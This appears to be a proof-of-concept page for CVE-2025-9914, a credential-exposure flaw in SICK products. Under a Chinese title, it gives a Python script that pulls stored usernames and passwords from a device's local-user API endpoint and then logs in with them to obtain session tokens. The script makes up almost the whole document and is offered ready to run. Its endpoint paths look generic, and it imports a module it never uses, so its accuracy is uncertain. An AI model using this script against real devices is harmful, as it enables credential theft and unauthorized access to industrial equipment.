CVE-2025-9914：SICK产品本地数据库凭证未授权访问漏洞

# CVE-2025-9914 PoC - SICK Product Local Credential Unauthorized Access # Vulnerability: Credentials stored in local database can be used for login # CVSS: 4.3 (MEDIUM) | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N import requests import hashlib TARGET_HOST = "https://<target-sick-device>" LOGIN_ENDPOINT = "/api/v1/auth/login" LOCAL_DB_CRED_PATH = "/api/v1/system/local-users" # Endpoint exposing local DB credentials def extract_local_credentials(session): """ Step 1: Access local database to extract stored user credentials. Requires low-privilege access (PR:L) to the system. """ try: resp = session.get(f"{TARGET_HOST}{LOCAL_DB_CRED_PATH}", verify=False) if resp.status_code == 200: users = resp.json().get("users", []) print(f"[+] Retrieved {len(users)} credential entries from local DB") return users except Exception as e: print(f"[-] Failed to extract credentials: {e}") return [] def authenticate_with_stolen_creds(session, username, password): """ Step 2: Use extracted credentials to perform unauthorized login. """ payload = {"username": username, "password": password} resp = session.post(f"{TARGET_HOST}{LOGIN_ENDPOINT}", json=payload, verify=False) if resp.status_code == 200 and "token" in resp.json(): print(f"[+] Login successful as '{username}' using local DB credentials") return resp.json()["token"] return None def main(): s = requests.Session() # Acquire low-privilege access first (PR:L requirement) creds = extract_local_credentials(s) for entry in creds: token = authenticate_with_stolen_creds(s, entry["user"], entry["pass"]) if token: print(f"[+] Session token obtained: {token[:20]}...") break if __name__ == "__main__": main()